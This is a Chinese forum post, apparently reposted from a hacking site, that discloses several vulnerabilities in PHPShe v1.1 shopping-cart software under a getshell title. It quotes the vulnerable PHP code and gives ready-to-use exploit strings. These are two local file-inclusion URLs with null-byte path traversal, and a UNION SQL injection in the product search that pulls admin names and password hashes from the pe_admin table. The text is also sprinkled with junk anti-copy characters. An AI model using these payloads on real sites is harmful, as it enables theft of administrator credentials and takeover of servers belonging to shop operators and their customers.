找回密码
 立即注册
查看: 2632|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
% T* F" F; o+ _8 h' ]/* Phpshe v1.1 Vulnerability, X- t9 ]  @# \- I
/* ========================
9 Y4 m' Z6 H( q/* By: : Kn1f3  `( D5 s9 A4 k* N+ k4 {
/* E-Mail : 681796@qq.com; w. M( f7 n% w! A$ v7 I! n
/*******************************************************/
$ N4 Y/ {8 h$ C" I0×00 整体大概参数传输4 y5 ^" k( \' D# ~, z# m) ]9 U" \4 G
3 y! ~3 `& K1 r0 p

! M- ]) J8 t2 ~& P* p5 i
! J# v5 q8 h: T2 n- _" J
//common.php
5 e; a) p: Y$ v) I2 Rif (get_magic_quotes_gpc()) {  X2 L4 T- P( f% X
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');; [/ m5 e2 l) v' @/ V! f6 o# u
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');. p. n& Q3 S# f$ }9 W
}
# }% r" c1 R5 Q8 y0 y6 Q7 t" }else {
" Y0 y2 z$ a! P' h!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
. o. R, m# N0 x/ n* F' \7 m* j( M9 j7 N!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');  g; `$ _9 \) u3 G
}
1 x: Q% w0 \* L9 ?# C  C- C% Osession_start();
0 y( e0 a5 U- |: I( d" ?( U6 q!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');2 h# ?+ b0 S9 y5 T, ^
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');  P- R! P& E) N  \+ I" v3 Q
0 S. f4 P) l7 `! w
0×01 包含漏洞$ `& f5 l% c4 }
2 S+ |. x( V% ]5 G0 {

  s; S9 {( `" p0 ^( I- t//首页文件9 ]1 s$ t# i9 q' v3 ~1 c
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% b3 F6 [( @% W0 ?include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
' X) q% |- O# e/ H# ~pe_result();% d6 D& }- K+ i" j! H4 X
?>4 {: Q) O* Q) y3 p
//common 文件 第15行开始& I8 |* g6 }* i
url路由配置" j) |; C% a  |$ p. }, ^
$module = $mod = $act = 'index';& V- N3 ]$ Q2 J# m) I, \* T$ A
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);, ~2 [  c6 H& `* Q6 k! |
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);; D2 E6 `* e( D  K3 P/ h& z9 T
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
3 R; w* z0 p: F( O# `//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00! Q! i3 k/ |; [8 f9 m+ x6 w


$ e- w7 M9 S. A 8 m: r( a' m) `
0×02 搜索注入
) e: ^1 j4 u% H( J9 g# o
$ d: d1 H2 ]0 e/ Q<code id="code2">

//product.php文件
+ g; J% Y: m! @/ Zcase 'list':+ n8 m5 K$ G4 P8 r8 P  D
$category_id = intval($id);( i4 K+ O6 d, O
$info = $db->pe_select('category', array('category_id'=>$category_id));( r6 N6 ]- s0 C6 ^1 L% o% F
//搜索6 C5 X2 d/ N9 V
$sqlwhere = " and `product_state` = 1";
; i- B4 a# m+ r3 ], s# E, h/ a5 bpe_lead('hook/category.hook.php');- T; o+ C6 j- G9 \
if ($category_id) {- t' p, P+ Z1 _3 m2 W" g; M
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
1 m* n# m: d+ z" r1 t9 X" y}! ?9 S, n  j( ^3 ?) K8 S
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
6 x6 z! Q3 h% o5 f& |if ($_g_orderby) {
; b! r/ u( X$ T' W& f+ }1 {7 y' m$orderby = explode('_', $_g_orderby);3 E' a8 O: R6 z  }; _- B
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
9 K$ f- }2 n& l0 i}
7 E4 o  p- N# Z* s5 a9 Zelse {
' Y' b+ X  T; b: F; G7 N7 L$sqlwhere .= " order by `product_id` desc";8 f, N- J; L4 \( T- y
}) |9 u5 d/ P# p& n$ H
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
. p* P& h' ]% V+ A  w' H//热卖排行
9 h! |8 T( m$ E0 Q; ^$product_hotlist = product_hotlist();
& F! Q3 X& M: [, ^5 u& E0 A//当前路径
/ F; i3 ?% U( u' q  p  s" `5 u$nowpath = category_path($category_id);
& e. `0 I. i7 J6 x* S$seo = pe_seo($info['category_name']);, ~; q! j2 |4 X9 M- d2 H
include(pe_tpl('product_list.html'));+ D& b, K  ^2 s. j. }$ @* d' o) x
//跟进selectall函数库7 l5 f9 W& p: M, I! P# S( C6 A
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
1 b4 K  F5 H8 G  Q. o{
4 I$ D' _3 \# `$ J//处理条件语句8 U0 u* S; E, ?  @- @6 d  m
$sqlwhere = $this->_dowhere($where);2 j* y8 ]' K) B3 m- F
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);7 r) T+ h9 T) X9 x4 K1 r
}8 |  {9 o: X9 U7 d/ y/ V
//exp
. G% v& _6 @5 }product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
. B" m. @0 C! q! `- T3 c2 Y$ }+ _

</code>
% ~' M! a$ J* g* w- i
' ]& R. M  j6 ?  H( K7 d* m: f0×03 包含漏洞2
8 j" f; H* S! s + ^! D2 V6 n7 ?/ x- ]
<code id="code3">

//order.php

case 'pay':

' P. z% ?. {: S8 H# v6 o8 u( \
$order_id = pe_dbhold($_g_id);

* g/ y# S4 s/ Q  i) _$ ~5 f. H
$cache_payway = cache::get('payway');

1 q' `% r0 U# Z, i. W) ]0 l& t4 c
foreach($cache_payway as $k => $v) {


* q  e3 j$ ~7 i) u" |& g) @$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

( A. k) A4 x, ]3 v. I; W: \* B
if ($k == 'bank') {

, B/ u& M, ~7 D, [5 L6 b- p
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

6 i: y4 r8 G4 A
}


6 F! B3 N8 \* R" i% B. L9 S}


: n6 @; m0 s2 W$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


5 v2 q: I) [% j/ I/ x1 G!$order['order_id'] && pe_error('订单号错误...');

( }% s8 x  m; r
if (isset($_p_pesubmit)) {


9 E6 `* A: \; m# Hif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

/ _2 Z; e, N2 |; w
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


  ~! T; B( S6 P7 K4 `foreach ($info_list as $v) {


/ k# v2 [. t1 J. x" [$order['order_name'] .= "{$v['product_name']};";5 B% J7 R- S/ a9 e

) u) |# ?3 v8 ^. e, M0 m$ T
}

" g/ C* J2 h; d& C* k
echo '正在为您连接支付网站,请稍后...';

) E4 k1 l% R8 L3 l0 B4 V2 X# B
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

8 T- a7 p" |9 v) j' B; c5 u2 z, _
}//当一切准备好的时候就可以进行"鸡肋包含了"

) C" x4 o+ \9 Q; W* K/ ~
else {


$ t( a; @0 S6 b8 spe_error('支付错误...');

8 [. p9 b7 \% w; d
}

& [5 \/ Q/ \9 h8 H; z3 q
}

' S+ x! P9 o+ ?! R  {3 Z
$seo = pe_seo('选择支付方式');


$ q+ E4 p& ]# {4 e, Cinclude(pe_tpl('order_pay.html'));

7 ?6 y" j; D/ |" `# m
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
7 X& a6 r" O8 L& ^- ~8 }' c$ Zhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表